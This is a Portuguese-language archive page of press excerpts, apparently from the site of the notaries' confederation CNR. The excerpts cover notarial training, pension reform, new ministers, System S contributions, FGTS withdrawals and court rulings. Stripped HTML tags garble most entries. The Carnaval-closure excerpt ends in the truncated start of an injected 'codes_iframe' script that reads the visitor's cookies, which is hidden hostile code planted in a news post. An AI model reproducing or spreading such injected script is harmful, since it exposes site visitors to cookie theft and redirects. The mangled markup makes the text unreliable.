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Arquivos de Categoria: Imprensa

Curso para Iniciante da Atividade Notarial e de Registro acontecerá em Salvador

p style=text-align: justify;emOspan class=m_-7331951395096717278m_-6656684767486071785apple-converted-space /spanstrongCurso para Iniciante da Atividade Notarial e de Registrospan class=m_-7331951395096717278m_-6656684767486071785apple-converted-space /spanpara Novos Concursados/strong do Estado da Bahia. Será realizado nos dias 17 e 18/03 no auditório do Hotel São Salvador./em/p !–more– div id=conteudo div class=item-page p style=text-align: justify;A abertura da formação será proferida pelo presidente da Associação Nacional dos Notários e Registradores do Brasil […]

Maia defende equilíbrio na idade mínima de aposentadoria entre homens e mulheres

p style=text-align: justify;emO presidente da Câmara Rodrigo Maia defendeu há pouco que a idade mínima de aposentadoria para homens e mulheres seja a mesma. Maia afirmou que as mulheres lutam por um equilíbrio na relação de gênero em todos os temas da sociedade. Ele participou de uma reunião com líderes da base na residência oficial./em/p […]

CNR comparece à posse dos novos ministros de Estado do Brasil

Ministros da Justiça, Osmar Serraglio, e das Relações Exteriores, Aloísio Nunes Ferreira, são empossados em cerimônia oficial no Palácio do Planalto !–more– div id=wrap/div div id=wrap div id=centro div id=conteudo div class=item-page p style=text-align: justify;strongBrasília (DF) -/strong Foi realizada nesta terça-feira (07/03) a cerimônia de posse dos ministros da Justiça e Segurança Pública, Osmar Serragliostrong,/strong e das Relações […]

Relatório sobre Reforma da Previdência deve ser votado em abril

p style=text-align: justify;emRelator da reforma previdenciária disse que o projeto deve ser aperfeiçoado na comissão, mas a direção das mudanças só ficará clara após o encerramento da fase de apresentação de emendas/em/p !–more– div id=conteudoNoticia p style=text-align: justify;A comissão especial que analisa a reforma da Previdência (PEC a href=http://www.camara.gov.br/proposicoesWeb/fichadetramitacao?idProposicao=2119881 target=_blank287/16/a) deve discutir e votar na […]

Contribuições sociais do sistema S. SENAI SESI SEST SESC SENAT E SEBRAE

p style=text-align: justify;Muito se tem discutido acerca da natureza jurídica dessas contribuições sociais devidas a entidades privadas…/p !–more– nbsp; section id=gk-mainsection class=container-fluidsection class=gk-content-wrap row-fluidsection id=gk-content class=span9section id=gk-component div class=item-page gk-item-page div class=gk-article p style=text-align: justify;Kiyoshi Harada*/p p style=text-align: justify;São as seguintes as contribuições sociais do sistema S: (a) SENAI – Decreto-lei nº 4.048, de 22-1-1942 […]

Proposta regula uso da denominação “cartório”

emEm análise na Câmara dos Deputados, o Projeto de Lei 4978/16, do deputado Rômulo Gouveia (PSD-PB), determina que o uso do nome “cartório” deve ser restrito aos prestadores de serviço notariais e de registro./em !–more– div id=conteudoNoticia “Percebendo a existência de um potencial para ganhos e vantagens econômicas, empresas têm se apropriado indevidamente da denominação […]

CNR não terá expediente nos dias de Carnaval

emEm virtude do feriado de Carnaval, a Confederação Nacional de Notários e Registradores (CNR) não terá expediente nos dias 27 (segunda-feira) e 28 (terça-feira) de fevereiro./em !–more– Retornaremos as atividades na quarta-feira de Cinzas, 1º de março, o expediente será das 13h às 18h. Fonte: Assessoria de Imprensa da CNR !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new […]

Aprovada tese que veda aposentadoria compulsória para titulares de serventias não estatizadas

p style=text-align:justify;em“Não se aplica a aposentadoria compulsória prevista no artigo 40, parágrafo 1º, inciso II, da Constituição Federal aos titulares de serventias judiciais não estatizadas, desde que não sejam ocupantes de cargo público efetivo e não recebam remuneração proveniente dos cofres públicos”. Essa foi a tese aprovada, por unanimidade, na sessão plenária desta quarta-feira (15), […]

Saque de conta inativa do FGTS beneficia trabalhador e o país, diz ministro Ronaldo Nogueira

emAté R$ 43 bilhões poderão ser sacados entre março e julho de 49,6 milhões de contas inativas./em !–more– p style=text-align:justify; “A medida é boa para o Brasil, é boa para o trabalhador e boa para a economia, porque serão R$ 43 bilhões que estarão à disposição. Aqueles trabalhadores que têm as suas contas inativas poderão […]

Verbas remuneratórias reconhecidas após a morte devem ser pagas a herdeiros, não a cônjuge

A Terceira Turma do Superior Tribunal de Justiça (STJ) rejeitou o recurso da viúva pensionista de um procurador de Justiça que buscava receber parcelas remuneratórias devidas ao procurador que só foram reconhecidas após sua morte. !–more– A Terceira Turma do Superior Tribunal de Justiça (STJ) rejeitou o recurso da viúva pensionista de um procurador de […]